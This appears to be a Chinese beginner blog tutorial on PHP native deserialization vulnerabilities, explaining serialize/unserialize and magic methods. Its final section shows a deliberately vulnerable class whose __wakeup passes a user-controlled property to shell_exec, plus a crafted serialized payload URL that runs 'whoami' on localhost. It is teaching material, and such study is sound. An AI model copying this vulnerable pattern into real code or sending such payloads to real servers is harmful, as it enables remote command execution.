1、写在前面

OK 兄弟们,这几天一直在面试,发现很多 HR 喜欢问反序列化相关的内容,今天咱们就从最简单的 PHP 原生反序列化入手,带大家入门反序列化

2、PHP 序列化

在 PHP 中,有反序列化,就有序列化,我们先来解释一下序列化。

所谓序列化,就是将 PHP 的一个对象,序列化为一串字符串的过程,其所用的函数就是serialize()

对象:一个对多种信息描述的整体

类:一个储存信息的共享的模板,以class开头

我们先试着创建一个新的类

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
}
}
?>

上面就是一个很简单的类,我们来看一下,首先使用class声明了一个类seren,在这个seren类里,我们有两个变量a和b,还有一个方法print_var

现在我们要去使用这个类,就需要把这个类实例化为一个对象

//创建一个对象
$object = new seren();
//调用一个方法
$object->print_var();

我们可以使用new,将seren类实例化为一个object对象,如果我们想要使用这个类的方法,可以直接使用 $object->print_var(); 的方法来调用这个方法。

接下来,我们试着使用serialize函数,将这个对象给序列化

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
}
}
$object = new seren();
$c = serialize($object);
echo $c;
?>

此处我们使用 serialize 将object这个对象,序列化为c,并打印出c

此处可以看到打印出的字符串

O:5:"seren":2:{s:1:"a";s:5:"hello";s:8:" seren b";s:5:"world";}

接下来我们就把这串字符串逐个解释一下。

首先是前面的 O,代表这是一个Object,也就是一个对象,然后是 O 后面的5,代表这个对象的名称为 5 个长度,再后面的seren就是我们对象的名称,后面的 2 就是我们对象里变量的个数。

然后就是大括号里面的内容,里面都是对我们对象里的变量的描述。

第一个s:1:"a";,表示为string类型,这个变量的名称长度为 1,变量名称为 a

后面的s:5:"hello";,表示为string类型,这个值的长度为 5,值为 hello

其实从这里我们就可以发现出规律,这个字符串对对象的描述都是类型+长度+名称的格式

比较特殊的就是后面的s:8:" seren b";,此处我们可以看到似乎有点不一样,这里的长度变成了 8,并且名称变成了serenb

我们回到上面,看我们创建这个类的时候,b 的类型为private,所以就可以知道,根据规定,private类型的变量在序列化后,名称会变为类名+变量名的格式,但是serenb也只有 6 个长度,但是他提示我们有 8 个长度

其实是因为在seren的前后有两个我们不可见的%00,他真正的内容应该是%00seren%00b,%00 算是一个长度,所以一共是 8 个长度。

3、PHP 反序列化

讲完了序列化,接下来就是反序列化,反序列化的函数是unserialize(),他可以将我们的序列化后的字符串,反序列化为对象

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
}
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
var_dump($object2);
?>

此处我们使用unserialize函数将字符串 c 反序列化为了对象object2

4、魔术方法

魔术方法是 php 反序列化漏洞利用中很重要的一环,一般以两个下划线开头,如果这个类里面存在魔术方法,他就会优先调用魔术方法

_construct()  //当一个对象创建时被调用
_destruct() //对象被销毁时触发
_wakeup() //反序列化前触发
_sleep() //序列化前触发
_toString() //把类当作字符串使用时触发
_get() //用于从不可访问的属性读取数据
_set() //用于将数据写入不可访问的属性
_isset() //在不可访问的属性上调用isset()或empty()触发
_unset() //在不可访问的属性上使用unset时触发
_invoke() //当脚本尝试将对象调用为函数时触发

我们试着在类里创建一个魔术方法wakeup

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
//方法
public function print_var()
{
echo $this->a;
} public function __wakeup()
{
// TODO: Implement __wakeup() method.
echo 'Follow SerenSec!';
}
}
$object = new seren();
$c = serialize($object);
$object2 = unserialize($c);
?>

运行后发现输出了Follow SerenSec!

5、PHP 反序列化漏洞

我们可以试着在反序列化的时候,寻找一些比较危险的魔术方法,从而达成 RCE 的目的,这就是反序列化漏洞

下面是一个很简单的例子

<?php
class seren //定义一个类
{
//变量
public $a = 'hello';
private $b = 'world';
public $hack;
//方法
public function print_var()
{
echo $this->a;
}
public function __construct($hack) {
$this->hack = $hack;
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
echo shell_exec($this->hack);
}
}
$object2 = unserialize($_GET['hack']);
?>

此时我们发现有 __wakeup 魔术方法,其中存在 shell_exec 函数,可以执行命令,并且其中的 hack 变量是可控的

我们先构造出序列化后的字符串

O:5:"seren":3:{s:1:"a";s:5:"hello";s:8:"%00seren%00b";s:5:"world";s:4:"hack";s:6:"whoami"}

然后构造 payload

http://localhost/test.php?hack=O:5:%22seren%22:3:{s:1:%22a%22;s:5:%22hello%22;s:8:%22%00seren%00b%22;s:5:%22world%22;s:4:%22hack%22;s:6:%22whoami%22}

成功执行命令

6、结语

PHP 原生反序列化比较简单,后面会有一些拓展内容,像是POP 链Phar 协议,这些是比较绕的地方,各位可以自行探索。

从零开始的PHP原生反序列化漏洞的更多相关文章

  1. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  2. Java反序列化漏洞总结

    本文首发自https://www.secpulse.com/archives/95012.html,转载请注明出处. 前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个 ...

  3. 原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

    GitHub 15.8k Star 的Java工程师成神之路,不来了解一下吗! GitHub 15.8k Star 的Java工程师成神之路,真的不来了解一下吗! GitHub 15.8k Star ...

  4. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  5. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  6. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  7. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  8. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  9. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  10. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. [ARC148C] Lights Out on Tree 题解

    在考场遇到了这道题,感觉很有意思. 当时直接想到的就是虚树,可惜打挂了. 后来改对了,写篇题解纪念一下. 首先看到 \(\sum M_i\le 2\times 10^5\),很容易想到虚树的数据范围. ...

  2. Esp32s3(立创实战派)移植LVGL

    Esp32s3(立创实战派)移植LVGL 移植: 使用软件EEZ studio 创建工程选择带EEZ Flow的,可以使用该软件更便捷的功能 根据屏幕像素调整画布为320*240 复制ui文件至工程 ...

  3. 如何修改JSONObject 的值

    问 题 { "result": { "total": "3", "shops": [ { "shopId&qu ...

  4. 2024.11.19随笔&联考总结

    联考 看到 T1 就知道一定是简单计数题然后发现 \(O(n)\) 可以过于是就大概写了写式子就开写.写的过程中犯了一些低级错误,代码重构了一次才过.耽误的时间比较久.然后开 T2,一眼有一个 \(O ...

  5. 中国联通校园招聘:软件研究院Offer面经

      本文介绍2024届春招中,中国联通软件研究院广州分院的软件研发岗位的3场面试基本情况.提问问题等.   2024年03月投递了中国联合网络通信有限公司下属软件研究院的软件研发岗位,所在部门为广州分 ...

  6. java真是一门丑陋的语言,我都new Thread.run了然后你告诉我是在当前线程中运行

    new Thread(x->{}).run(); 上方代码怎么看都应该是要开启新线程的,毕竟都已经new了.但是上方代码居然是在当前线程中运行!想要开启新线程得用.start()方法,如下: n ...

  7. (Python)用栈实现计算器的原理及实现

    前言 我们日常使用的计算器是怎么实现计算的呢?能自己判断运算符的优先级去计算,能处理括号的匹配,这些都是怎么实现的呢? 一个大家熟知的答案是用栈,好的,那么为什么要用栈?为什么栈能实现呢? 目录 前言 ...

  8. EmlBuilder:一款超轻量级的EML格式电子邮件阅读和编辑工具

    EmlBuilder 是一款超轻量级的电子邮件阅读和编辑工具,针对EML格式的文件具有非常强大的解析和容错能力,可实现超文本邮件的编写,并具备内嵌图片的编辑功能.该工具内部使用EmlParse对电子邮 ...

  9. docx4j转换HTML并生成word文档实践

    一.背景 在项目开发中,有一个需求需要将富文本编辑器中的内容转换为word文档.在网上看了很多开源第三方工具包的对比,最终选择了docx4j,主要原因有一下几点: 可以将html转换为word 对wo ...

  10. Pydantic Schema生成指南:自定义JSON Schema

    title: Pydantic Schema生成指南:自定义JSON Schema date: 2025/3/27 updated: 2025/3/27 author: cmdragon excerp ...